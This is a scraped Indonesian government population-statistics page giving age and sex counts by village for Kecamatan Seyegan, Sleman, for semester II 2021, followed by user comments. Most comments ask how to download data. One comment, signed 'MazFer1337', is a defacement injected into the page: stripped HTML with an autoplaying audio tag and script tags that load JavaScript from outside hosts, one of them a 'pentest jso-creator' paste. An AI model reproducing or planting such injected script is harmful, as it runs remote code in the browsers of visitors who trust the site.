Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN SEYEGAN, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaMARGOLUWIHMARGODADIMARGOKATONMARGOMULYOMARGOAGUNGTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun115117 23210695 2018080 160143145 288109106 215553 543 1.096
2 tahun8546 1316551 1165846 10410081 1817558 133383 282 665
3 tahun8089 1694753 1004848 967085 1558065 145325 340 665
4 tahun8271 1537245 1175252 1049093 1837761 138373 322 695
5 tahun7877 1555872 1306246 10810384 1876664 130367 343 710
6 tahun6175 1366560 1256052 1128381 1648585 170354 353 707
7 tahun8871 1596960 1295440 9410776 1836786 153385 333 718
8 tahun8274 1567465 1395157 1088788 1757670 146370 354 724
9 tahun7195 1667359 1326170 131108103 2117691 167389 418 807
10 tahun7375 1487664 1406452 11610296 1987877 155393 364 757
11 tahun8285 1676367 1305849 107106105 2117675 151385 381 766
12 tahun8391 1746272 1345464 118104104 2087490 164377 421 798
13 tahun7274 14610072 1726550 115102106 2089698 194435 400 835
14 tahun7478 1527761 1386454 11810988 1977259 131396 340 736
15 tahun8783 1705667 1235555 11010796 2039273 165397 374 771
16 tahun9393 1866759 1265444 989776 1737163 134382 335 717
17 tahun6966 1356356 1193543 788495 1796352 115314 312 626
18 tahun7477 1516974 1434861 10910793 2007476 150372 381 753
19 tahun7166 1376866 1345846 1047397 1708186 167351 361 712
20 tahun9361 1545874 1325867 12584105 1896668 134359 375 734
21 tahun8991 1808358 1415845 10310090 1907487 161404 371 775
22 tahun8187 1686265 1276070 1309092 1826471 135357 385 742
23 tahun8464 1485875 1334153 947796 1737561 136335 349 684
24 tahun5579 1346372 1356265 1279186 1777449 123345 351 696
25 tahun6480 1447278 1505967 12687100 1876784 151349 409 758
26 tahun8479 1636063 1236449 1137194 1656672 138345 357 702
27 tahun7276 1485556 1114951 10083100 1834978 127308 361 669
28 tahun7483 1577982 1615351 10488102 1909174 165385 392 777
29 tahun8461 1456356 1195059 1099084 1747169 140358 329 687
30 tahun7480 1546662 1285647 1038673 1596174 135343 336 679
31 tahun7367 1405651 1075147 989994 1937965 144358 324 682
32 tahun5975 1345359 1125746 10384101 1856762 129320 343 663
33 tahun8170 1515756 1134446 908489 1737075 145336 336 672
34 tahun7767 1444760 1074045 858994 1835775 132310 341 651
35 tahun7280 1525468 1225552 10710278 1808678 164369 356 725
36 tahun8082 1627557 1324341 849788 1858474 158379 342 721
37 tahun7168 1394056 965657 113113101 2148471 155364 353 717
38 tahun86107 1936355 1185457 111119105 2248788 175409 412 821
39 tahun10493 1977380 1535175 126102101 20393103 196423 452 875
40 tahun9368 1617679 1557167 138127106 2338977 166456 397 853
41 tahun8194 1756375 1386860 128117108 22510475 179433 412 845
42 tahun9298 1907188 1596657 12310293 1957781 158408 417 825
43 tahun8981 1708375 1585961 120102104 2067670 146409 391 800
44 tahun9270 1627269 1415252 1049680 1767064 134382 335 717
45 tahun9475 1697178 1495552 1079498 1928292 174396 395 791
46 tahun9276 1687278 1506859 127105106 2116378 141400 397 797
47 tahun7381 1546673 1397150 12110278 1805774 131369 356 725
48 tahun7079 1498464 1485874 132104113 2178280 162398 410 808
49 tahun7381 1547567 1426079 13911496 2107589 164397 412 809
50 tahun8167 1486266 1285850 1087690 1669263 155369 336 705
51 tahun9969 1687464 1386360 123104102 2068379 162423 374 797
52 tahun7488 1626374 1375675 13193118 2117491 165360 446 806
53 tahun77100 1778474 1586357 12097109 2067067 137391 407 798
54 tahun5876 1345157 1086352 1158789 1766662 128325 336 661
55 tahun8485 1696569 1346565 1309777 1745972 131370 368 738
56 tahun7276 1486764 1313955 948190 1716568 133324 353 677
57 tahun5649 1053560 954355 985460 1144863 111236 287 523
58 tahun5273 1254951 1005946 1056676 1425963 122285 309 594
59 tahun6272 1344556 1013643 797676 1525267 119271 314 585
60 tahun5453 1073850 885135 865177 1285052 102244 267 511
61 tahun5254 1066169 1304944 935984 1435187 138272 338 610
62 tahun4662 1083647 833937 765870 1285259 111231 275 506
63 tahun6249 1114748 954252 948367 1505868 126292 284 576
64 tahun4546 913253 852241 634542 874850 98192 232 424
65 tahun3551 864453 972838 667256 1284557 102224 255 479
66 tahun2531 565450 1043240 724961 1105068 118210 250 460
67 tahun4846 943637 733227 595351 1043751 88206 212 418
68 tahun2632 583226 582727 544358 1014439 83172 182 354
69 tahun3430 643437 712124 453635 713130 61156 156 312
70 tahun2828 563327 601722 392731 582321 44128 129 257
71 tahun2940 691630 462732 593335 682935 64134 172 306
72 tahun2727 541928 471510 252731 582223 45110 119 229
73 tahun2528 531632 482130 512540 653230 62119 160 279
74 tahun1520 351325 381215 271417 311514 2969 91 160
75 tahun2122 431618 34813 212227 491620 3683 100 183
76 tahun1926 451623 392122 431821 391535 5089 127 216
77 tahun1518 331216 281111 221716 331017 2765 78 143
78 tahun1818 361024 341518 332233 551923 4284 116 200
79 tahun2220 421823 412619 451616 321720 3799 98 197
80 ke atas81126 20768119 1876687 15379116 19593127 220387 575 962
Jumlah5.3685.43810.8064.5464.7179.2633.8973.9127.8096.4616.51812.9795.1535.31410.467 25.425 25.899 51.324
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih